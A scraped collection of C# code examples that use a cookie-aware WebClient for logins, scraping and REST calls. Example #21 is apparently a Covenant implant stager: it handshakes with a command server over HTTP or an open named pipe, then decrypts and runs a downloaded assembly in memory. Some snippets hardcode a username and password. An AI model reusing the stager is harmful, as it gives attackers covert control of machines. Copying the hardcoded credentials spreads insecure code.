示例#1
0
        public static string ObtainImageInfo(Uri url, string text)
        {
            try
            {
                var client = new CookieWebClient();
                client.Headers[HttpRequestHeader.UserAgent] = FakeUserAgent;

                // alibi-visit the image search page to get the cookies
                client.Headers[HttpRequestHeader.Referer] = GoogleHomepageUrl.ToString();
                client.DownloadData(GoogleImageSearchUrl);

                // fetch the actual info
                var searchUrl = new Uri(string.Format(
                                            GoogleImageSearchByImageUrlPattern,
                                            Util.UrlEncode(url.ToString(), Util.Utf8NoBom, true)
                                            ));
                client.Headers[HttpRequestHeader.Referer] = GoogleImageSearchUrl.ToString();
                var responseBytes = client.DownloadData(searchUrl);
                var parseMe       = EncodingGuesser.GuessEncodingAndDecode(responseBytes, null, null);

                var htmlDoc = new HtmlDocument();
                htmlDoc.LoadHtml(parseMe);
                var foundHints = htmlDoc.DocumentNode.QuerySelectorAll(".qb-bmqc .qb-b");
                foreach (var hint in foundHints)
                {
                    return(string.Format("{0} ({1})", text, HtmlEntity.DeEntitize(hint.InnerText)));
                }
                return(text);
            }
            catch (Exception ex)
            {
                Logger.Warn("image info", ex);
                return(text);
            }
        }
示例#2
0
        public void GetVcodePic()
        {
            ////生成图片验证码
            ////生成随机数列
            CookieWebClient client = new CookieWebClient();

            client.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)");
            client.Headers.Add("Accept-Language", "zh-CN");
            client.Headers.Add("Accept", "*/*");

            client.Headers.Add("Accept-Encoding", "gzip, deflate");

            TimeSpan ts = DateTime.Now - new DateTime(1970, 1, 1);

            client.Cookies = cc;//带Cookie访问
            string ticks = ts.Ticks.ToString().Substring(0, 13);

            byte[] bytes = client.DownloadData("http://weibo.com/aj/pincode/pin?_wv=5&type=rule&lang=zh-cn&ts=" + ticks);


            MemoryStream ms = new MemoryStream(bytes); // MemoryStream创建其支持存储区为内存的流。

            //MemoryStream属于System.IO类
            ms.Position = 0;
            Image img = Image.FromStream(ms);

            this.pictureBox1.Image = img;
        }
示例#3
0
        private OpenCartConnector()
        {
            LastProcessSuccess = true;
            if (!Configuration.Current.OpenCartAdminURL.EndsWith("/"))
            {
                Configuration.Current.OpenCartAdminURL = Configuration.Current.OpenCartAdminURL + "/";
            }
            try
            {
                using (var client = new CookieWebClient())
                {
                    var values = new NameValueCollection
                    {
                        { "username", Configuration.Current.OpenCartUsername },
                        { "password", Configuration.Current.OpenCartPassword },
                    };
                    byte[] b = client.UploadValues(string.Format(LoginURLFormat, Configuration.Current.OpenCartAdminURL), values);


                    cookies = client.CookieContainer;

                    string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                    //token=686fc274c18ff279662a39bc57490c2f'

                    int posstart = x.IndexOf("token=");
                    int posend   = x.IndexOf("'", posstart);
                    Token = x.Substring(posstart, posend - posstart);
                }
            }
            catch (Exception ex)
            {
                ErrorMessage       = ex.Message;
                LastProcessSuccess = false;
            }
        }
        /// <summary>
        /// Post feedback form data to main website
        /// </summary>
        /// <returns></returns>
        public ResponseResult PostFeedback()
        {
            var result = new ResponseResult();

            try
            {
                using (var wc = new CookieWebClient())
                {
                    // get postback cookies
                    wc.DownloadString(Uri);

                    // send feedback
                    wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                    var body       = form.Serialize();
                    var htmlResult = wc.UploadString(Uri, body);
                    result.OK = htmlResult.Contains(OkResponse);
                    if (result.OK)
                    {
                        result.StatusCode = 200;
                    }
                }
            }
            catch (Exception e)
            {
                result = new ResponseResult(e)
                {
                    StatusCode = 500, OK = false
                };
            }
            return(result);
        }
示例#5
0
        private async void ButtonLogin_OnClicked(object sender, EventArgs e)
        {
            var username = EntryUsername.Text;
            var password = EntryPassword.Text;

            using (var client = new CookieWebClient())
            {
                var response = client.DownloadString($"http://web.kraxarn.com:5000/user/login?username={username}&password={password}");
                var json     = JsonConvert.DeserializeObject <JsonResult>(response);

                if (json.Error)
                {
                    await DisplayAlert("Login failed", "Invalid username, password or you put your sock on backwards", "uh...");
                }
                else
                {
                    // Cookies received
                    Account.Cookies = client.CookieContainer;

                    // Username used
                    Account.Username = username;

                    // Save changes
                    Account.Save();

                    // Go back to account page
                    await Navigation.PopModalAsync();
                }
            }
        }
        public static bool Login(LoginData data)
        {
            if (data.Cookies.Count > 0)
            {
                CookieContainer container = new CookieContainer();
                foreach (var cookie in data.Cookies)
                {
                    System.Net.Cookie c = new System.Net.Cookie(cookie.Name, cookie.Value) { Domain = new Uri(data.Address).Host };
                    container.Add(c);
                }

                Client = new CookieWebClient(container);

                return CheckForSuccessfullLogin(data);
            }
            else
            {
                string postData = data.UserNameParameterName + "=" + HttpUtility.UrlEncode(data.UserName)
                    + "&" + data.PasswordParameterName + "=" + data.Password;

                if (!string.IsNullOrEmpty(data.AdditionalParameters))
                {
                    postData += "&" + data.AdditionalParameters;
                }

                Client = new CookieWebClient();

                Client.Login(data.Address, postData);

                return CheckForSuccessfullLogin(data);
            }
        }
示例#7
0
        /// <summary>
        /// Used to create a web client with all of the appropriote proxy/useragent/etc settings
        /// </summary>
        private WebClient CreateWebClient()
        {
            WebClient client = new CookieWebClient()
            {
                Encoding = Encoding.UTF8
            };

            client.Headers.Add("user-agent", NetworkSettingsProvider.UserAgent);
            if (NetworkSettingsProvider.ProxyType == "Http")
            {
                if (_useDefaultProxy)
                {
                    client.Proxy = HttpWebRequest.DefaultWebProxy;
                }
                else if (!String.IsNullOrEmpty(_proxyServer))
                {
                    client.Proxy = new WebProxy(_proxyServer, _proxyPort);
                }
                if (client.Proxy != null && NetworkSettingsProvider.ProxyRequiresAuthentication)
                {
                    if (NetworkSettingsProvider.UseDefaultAuthenticationForProxy)
                    {
                        client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    }
                    else
                    {
                        client.Proxy.Credentials = new NetworkCredential(_proxyUserName, _proxyPassword, _proxyDomain);
                    }
                }
            }
            return(client);
        }
示例#8
0
        public object PostCall(ServerCallParameters parameters, object targetObject, object parent, object data)
        {
            if (parameters == null)
            {
                throw new ArgumentNullException(nameof(parameters));
            }

            string sdata = SerializeData(data);

            using (var client = new CookieWebClient())
            {
                if (Cookie != null)
                {
                    client.Cookies.Add(new Cookie(CookieName, Cookie, "/", new Uri(Url).Host));
                }

                var uri = new EditableUri(Url + "/api/" + parameters.Api);

                if (parameters.Lcid != 0)
                {
                    uri.Parameters["l"] = parameters.Lcid;
                }
                client.Headers.Add(HttpRequestHeader.ContentType, "application/json");
                client.Encoding = Encoding.UTF8;

                string s;
                try
                {
                    s = client.UploadString(uri.ToString(), sdata);
                }
                catch (WebException e)
                {
                    if (ShowMessageBoxOnError)
                    {
                        var eb = new ErrorBox(e, e.GetErrorText(null));
                        eb.ShowDialog();
                    }
                    throw;
                }

                var options = new JsonUtilitiesOptions();
                options.CreateInstanceCallback = (e) =>
                {
                    var type = (Type)e.Value;
                    if (typeof(TreeItem).IsAssignableFrom(type))
                    {
                        e.Value   = Activator.CreateInstance(type, new object[] { parent });
                        e.Handled = true;
                    }
                };

                if (targetObject != null)
                {
                    JsonUtilities.Deserialize(s, targetObject, options);
                    return(null);
                }
                return(JsonUtilities.Deserialize(s));
            }
        }
示例#9
0
        public object Call(ServerCallParameters parameters, object targetObject, object parent)
        {
            if (parameters == null)
            {
                throw new ArgumentNullException(nameof(parameters));
            }

            using (var client = new CookieWebClient())
            {
                if (Cookie != null)
                {
                    client.Cookies.Add(new Cookie(CookieName, Cookie, "/", new Uri(Url).Host));
                }

                var uri = new EditableUri(Url + "/api/" + parameters.Api);
                if (!string.IsNullOrWhiteSpace(parameters.Format))
                {
                    uri.Parameters["f"] = parameters.Format;
                }

                if (parameters.Lcid != 0)
                {
                    uri.Parameters["l"] = parameters.Lcid;
                }

                client.Encoding = Encoding.UTF8;

                string s;
                try
                {
                    s = client.DownloadString(uri.ToString());
                }
                catch (WebException e)
                {
                    var eb = new ErrorBox(e, e.GetErrorText(null));
                    eb.ShowDialog();
                    throw;
                }

                var options = new JsonUtilitiesOptions();
                options.CreateInstanceCallback = (e) =>
                {
                    Type type = (Type)e.Value;
                    if (typeof(TreeItem).IsAssignableFrom(type))
                    {
                        e.Value   = Activator.CreateInstance(type, new object[] { parent });
                        e.Handled = true;
                    }
                };

                if (targetObject != null)
                {
                    JsonUtilities.Deserialize(s, targetObject, options);
                    return(null);
                }
                return(JsonUtilities.Deserialize(s));
            }
        }
        /// <summary>
        /// Initialize a KMBizhubDevice with the given parameters.
        /// </summary>
        /// <param name="parameters">Parameters to this module.</param>
        public KMBizhubDevice(Dictionary <string, string> parameters)
        {
            Hostname      = parameters["Hostname"];
            AdminPassword = parameters["AdminPassword"];
            Https         = parameters.ContainsKey("Https") && bool.Parse(parameters["Https"]);

            Client = new CookieWebClient();
            Client.IgnoreCookiePaths = true;
        }
示例#11
0
文件: Net.cs 项目: nkYellOw/test
 public void DownloadFile(string link, string filePath)
 {
     using (var wc = new CookieWebClient())
     {
         // if (!System.IO.File.Exists(filePath))
         // {
         wc.DownloadFile(link, filePath);
         //}
     }
 }
示例#12
0
        public string Put(string url, string content)
        {
            using (var wc = new CookieWebClient(_cookieContainer))
            {
                wc.Encoding = Encoding.UTF8;
                wc.Headers[HttpRequestHeader.ContentType] = "application/json";
                SetHeaders(wc);

                return(wc.UploadString(_baseUrl + "/" + url, "PUT", content));
            }
        }
示例#13
0
        public void Delete(string url)
        {
            using (var wc = new CookieWebClient(_cookieContainer))
            {
                wc.Encoding = Encoding.UTF8;
                wc.Headers[HttpRequestHeader.ContentType] = "application/json";
                SetHeaders(wc);

                wc.UploadString(_baseUrl + "/" + url, "DELETE", "");
            }
        }
        private static void UpdateValues(string hostCM, string token)
        {
            var client = new CookieWebClient();

            client.Encoding = System.Text.Encoding.UTF8;
            client.Headers.Add("token", token);

            client.Headers.Add("Content-Type", "application/json");
            client.UploadData(
                new Uri(hostCM + "/sitecore/api/ssc/item/51C13F03-8364-4F61-B860-2EC6CA7439B3?database=master"),
                "PATCH",
                System.Text.Encoding.UTF8.GetBytes($"{{\"Datasource Template\": \"{string.Empty}\" }}"));
        }
示例#15
0
        public string DownloadCall(ServerCallParameters parameters)
        {
            if (parameters == null)
            {
                throw new ArgumentNullException(nameof(parameters));
            }

            using (var client = new CookieWebClient())
            {
                if (Cookie != null)
                {
                    client.Cookies.Add(new Cookie(CookieName, Cookie, "/", new Uri(Url).Host));
                }


                string url = parameters.Api;
                if (parameters.Api != null && !parameters.Api.StartsWith("/"))
                {
                    url = "/" + url;
                }

                var uri =
                    new EditableUri(Url + url);
                if (!string.IsNullOrWhiteSpace(parameters.Format))
                {
                    uri.Parameters["f"] = parameters.Format;
                }

                if (parameters.Lcid != 0)
                {
                    uri.Parameters["l"] = parameters.Lcid;
                }

                try
                {
                    var filePath = LongPath.GetTempFileName();
                    client.DownloadFile(uri.ToString(), filePath);
                    return(filePath);
                }
                catch (WebException e)
                {
                    if (ShowMessageBoxOnError)
                    {
                        var eb = new ErrorBox(e, e.GetErrorText(null));
                        eb.ShowDialog();
                    }
                    throw;
                }
            }
        }
        private AuthorizationClient AuthorizationClient()
        {
            var webClient = new CookieWebClient();
            var basePath  = new ApplicationBasePath(
                protocolPrefix: "https://",
                site: options.AlbaHost,
                applicationPath: "/alba");

            var client = new AuthorizationClient(
                webClient: webClient,
                basePath: basePath);

            return(client);
        }
示例#17
0
        private Comic GetComic(string url, DateTime comicDate)
        {
            var documentUrl = $"{url}/{comicDate.Year}/{comicDate.Month.ToString("00")}/{comicDate.Day.ToString("00")}";

            HtmlDocument    hdoc = new HtmlDocument();
            CookieWebClient wc   = new CookieWebClient();

            Stream read = null;

            try
            {
                read = wc.OpenRead(documentUrl);
            }
            catch (ArgumentException)
            {
                read = wc.OpenRead(Uri.EscapeUriString(documentUrl));
            }
            catch (HtmlWebException)
            {
                wc   = new CookieWebClient();
                read = wc.OpenRead(documentUrl);
            }


            hdoc.Load(read, true);
            var pictureContainer = hdoc.DocumentNode.Descendants("picture")
                                   .FirstOrDefault(d => d.Attributes.Contains("class") &&
                                                   d.Attributes["class"].Value.Contains("item-comic-image"));

            if (pictureContainer == null)
            {
                return(null);
            }

            var imageUrl = pictureContainer.SelectNodes(".//img")
                           .FirstOrDefault()
                           .Attributes["src"]
                           .Value;

            var comic = new Comic
            {
                ImageUrl    = imageUrl,
                PublishDate = comicDate
            };

            return(comic);
        }
示例#18
0
        public static AuthorizationClient AlbaClient()
        {
            string albaHost = Environment.GetEnvironmentVariable("alba_host");

            if (string.IsNullOrWhiteSpace(albaHost))
            {
                throw new Exception("ALBA_HOST environment variable is missing!");
            }

            var webClient = new CookieWebClient();
            var basePath  = new ApplicationBasePath(
                protocolPrefix: "https://",
                site: albaHost,
                applicationPath: "/alba");

            var client = new AuthorizationClient(
                webClient: webClient,
                basePath: basePath);

            return(client);
        }
示例#19
0
        void DownloadPOSUPdate()
        {
            var values = new NameValueCollection
            {
                { "username", "russ" },
                { "password", "1tennesseeb" },
            };

            using (var client = new CookieWebClient())
            {
                byte[] b = client.UploadValues("http://test.deviumrocks.com/admin/index.php?route=common/login", values);

                string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                //token=686fc274c18ff279662a39bc57490c2f'

                int    posstart = x.IndexOf("token=");
                int    posend   = x.IndexOf("'", posstart);
                string token    = x.Substring(posstart, posend - posstart);
                // If the previous call succeeded we now have a valid authentication cookie
                // so we could download the protected page
                string result = client.DownloadString(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}&pos", token));
            }
        }
        private OpenCartConnector()
        {
            LastProcessSuccess = true;
            if (!Configuration.Current.OpenCartAdminURL.EndsWith("/"))
            {
                Configuration.Current.OpenCartAdminURL = Configuration.Current.OpenCartAdminURL + "/";
            }
            try
            {
                using (var client = new CookieWebClient())
                {

                    var values = new NameValueCollection
                    {
                        { "username", Configuration.Current.OpenCartUsername },
                        { "password", Configuration.Current.OpenCartPassword },
                    };
                    byte[] b = client.UploadValues(string.Format(LoginURLFormat, Configuration.Current.OpenCartAdminURL), values);


                    cookies = client.CookieContainer;

                    string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                    //token=686fc274c18ff279662a39bc57490c2f'

                    int posstart = x.IndexOf("token=");
                    int posend = x.IndexOf("'", posstart);
                    Token = x.Substring(posstart, posend - posstart);
                }
            }
            catch (Exception ex)
            {
                ErrorMessage = ex.Message;
                LastProcessSuccess = false;
            }
        }
示例#21
0
        public void ExecuteStager()
        {
            try
            {
                string        CovenantURI             = @"{{REPLACE_COVENANT_URI}}";
                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = new List <string>();
                List <string> ProfileHttpHeaderValues = new List <string>();
                // {{REPLACE_PROFILE_HTTP_HEADERS}}
                List <string> ProfileHttpUrls = new List <string>();
                // {{REPLACE_PROFILE_HTTP_URLS}}
                string ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}";
                string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}";
                string CommType       = @"{{REPLACE_COMM_TYPE}}";
                bool   ValidateCert   = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool   UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
                string PipeName       = @"{{REPLACE_PIPE_NAME}}";

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);

                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return(valid);
                };
                string transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                NamedPipeServerStream pipe = null;
                CookieWebClient       wc   = null;
                string Stage0Response      = "";
                if (CommType == "SMB")
                {
                    PipeSecurity ps = new PipeSecurity();
                    ps.AddAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, System.Security.AccessControl.AccessControlType.Allow));
                    pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                    pipe.WaitForConnection();
                    System.Threading.Thread.Sleep(5000);
                    var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileHttpPostRequest, transformedResponse));
                    Write(pipe, Stage0Bytes);
                    Stage0Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", "");
                }
                else
                {
                    wc = new CookieWebClient();
                    wc.UseDefaultCredentials = true;
                    wc.Proxy             = WebRequest.DefaultWebProxy;
                    wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                    }
                    wc.DownloadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)]);
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                    }
                    Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                }
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);

                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                if (CommType == "SMB")
                {
                    var Stage1Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileHttpPostRequest, transformedResponse));
                    Write(pipe, Stage1Bytes);
                    Stage1Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", "");
                }
                else
                {
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                    }
                    Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                }
                extracted    = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted    = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                if (CommType == "SMB")
                {
                    var Stage2Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileHttpPostRequest, transformedResponse));
                    Write(pipe, Stage2Bytes);
                    Stage2Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", "");
                }
                else
                {
                    for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                    }
                    Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                }
                extracted    = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted    = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }

                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
        private void OnConnect(object sender, RoutedEventArgs e)
        {
          
            var values = new NameValueCollection
                    {
                        { "username", "russ" },
                        { "password", "1tennesseeb" },
                    };
            //string boundary = "----------------------------" + DateTime.Now.Ticks.ToString("x");
            //string formDataHeaderTemplate = Environment.NewLine + "--" + boundary + Environment.NewLine +
            //    "Content-Disposition: form-data; name=\"{0}\";" + Environment.NewLine + Environment.NewLine + "{1}";

            
            //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://test.deviumrocks.com/admin/index.php?route=common/login");
            //request.Method = "POST";
            //request.ContentType = "application/x-www-form-urlencoded";
            //request.UserAgent = "My goofy little User Agent (Russ Judge)";
            //using (MemoryStream ms = new MemoryStream())
            //{
            //    foreach (string key in values.Keys)
            //    {
            //        byte[] formItemBytes = System.Text.Encoding.UTF8.GetBytes(string.Format(formDataHeaderTemplate,
            //        key, values[key]));
            //        ms.Write(formItemBytes, 0, formItemBytes.Length);
            //    }
            //    ms.Position = 0;
            //    request.ContentLength = ms.Length;
            //    using (Stream reqStream = request.GetRequestStream())
            //    {
            //        byte[] buffer = new byte[1024];
            //        int bytesRead = ms.Read(buffer, 0, buffer.Length);
                    
                    
            //        while (bytesRead  >0)
            //        {
                        
            //            reqStream.Write(buffer, 0, bytesRead);
            //            bytesRead = ms.Read(buffer, 0, buffer.Length);
            //        }
                    
            //        HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                    
            //        using (StreamReader sr = new StreamReader(response.GetResponseStream()))
            //        {
            //            string result = sr.ReadToEnd();
            //        }

            //    }
            //}


            //upload

            using (var client = new CookieWebClient())
            {

                byte[] b = client.UploadValues("http://test.deviumrocks.com/admin/index.php?route=common/login", values);

                string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                //token=686fc274c18ff279662a39bc57490c2f'

                int posstart = x.IndexOf("token=");
                int posend = x.IndexOf("'", posstart);
                string token = x.Substring(posstart, posend - posstart);
                // If the previous call succeeded we now have a valid authentication cookie
                // so we could download the protected page
                List<string> files = new List<string>();

                files.Add(@"E:\Users\Russ\SkyDrive\Fox One POS\TestExport_20140407.csv");


                UploadFilesToRemoteUrl(string.Format("http://test2.deviumrocks.com/admin/index.php?route=report/stock&{0}", token), files.ToArray(),
                    "uploadPos", "application/vnd.ms-excel", new NameValueCollection(), client.CookieContainer, "Upload was succesful");

                //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}");
                //string boundary = "---------------------------" + DateTime.Now.Ticks.ToString("x");
                //request.CookieContainer = client.CookieContainer;
                //request.Method = "POST";
                //request.ContentType = "multipart/form-data; boundary=" + boundary;

                //byte[] boundarybytes = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n");


                //b = client.UploadFile(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}", token), "");

                //string result = client.DownloadString(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}&uploadPos={1}", token,));
            }

        }
        void DownloadPOSUPdate()
        {
            var values = new NameValueCollection
                    {
                        { "username", "russ" },
                        { "password", "1tennesseeb" },
                    };
            using (var client = new CookieWebClient())
            {

                byte[] b = client.UploadValues("http://test.deviumrocks.com/admin/index.php?route=common/login", values);

                string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                //token=686fc274c18ff279662a39bc57490c2f'

                int posstart = x.IndexOf("token=");
                int posend = x.IndexOf("'", posstart);
                string token = x.Substring(posstart, posend - posstart);
                // If the previous call succeeded we now have a valid authentication cookie
                // so we could download the protected page
                string result = client.DownloadString(string.Format("http://test.deviumrocks.com/admin/index.php?route=report/stock&{0}&pos", token));
            }
        }
示例#24
0
        private void OnConnect(object sender, RoutedEventArgs e)
        {
            var values = new NameValueCollection
            {
                { "username", "russ" },
                { "password", "1tennesseeb" },
            };

            //string boundary = "----------------------------" + DateTime.Now.Ticks.ToString("x");
            //string formDataHeaderTemplate = Environment.NewLine + "--" + boundary + Environment.NewLine +
            //    "Content-Disposition: form-data; name=\"{0}\";" + Environment.NewLine + Environment.NewLine + "{1}";


            //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://test.deviumrocks.com/admin/index.php?route=common/login");
            //request.Method = "POST";
            //request.ContentType = "application/x-www-form-urlencoded";
            //request.UserAgent = "My goofy little User Agent (Russ Judge)";
            //using (MemoryStream ms = new MemoryStream())
            //{
            //    foreach (string key in values.Keys)
            //    {
            //        byte[] formItemBytes = System.Text.Encoding.UTF8.GetBytes(string.Format(formDataHeaderTemplate,
            //        key, values[key]));
            //        ms.Write(formItemBytes, 0, formItemBytes.Length);
            //    }
            //    ms.Position = 0;
            //    request.ContentLength = ms.Length;
            //    using (Stream reqStream = request.GetRequestStream())
            //    {
            //        byte[] buffer = new byte[1024];
            //        int bytesRead = ms.Read(buffer, 0, buffer.Length);


            //        while (bytesRead  >0)
            //        {

            //            reqStream.Write(buffer, 0, bytesRead);
            //            bytesRead = ms.Read(buffer, 0, buffer.Length);
            //        }

            //        HttpWebResponse response = (HttpWebResponse)request.GetResponse();

            //        using (StreamReader sr = new StreamReader(response.GetResponseStream()))
            //        {
            //            string result = sr.ReadToEnd();
            //        }

            //    }
            //}


            //upload

            using (var client = new CookieWebClient())
            {
                byte[] b = client.UploadValues("http://test.deviumrocks.com/admin/index.php?route=common/login", values);

                string x = System.Text.ASCIIEncoding.UTF8.GetString(b);
                //token=686fc274c18ff279662a39bc57490c2f'

                int    posstart = x.IndexOf("token=");
                int    posend   = x.IndexOf("'", posstart);
                string token    = x.Substring(posstart, posend - posstart);
                // If the previous call succeeded we now have a valid authentication cookie
                // so we could download the protected page
                List <string> files = new List <string>();

                files.Add(@"E:\Users\Russ\SkyDrive\Fox One POS\TestExport_20140407.csv");


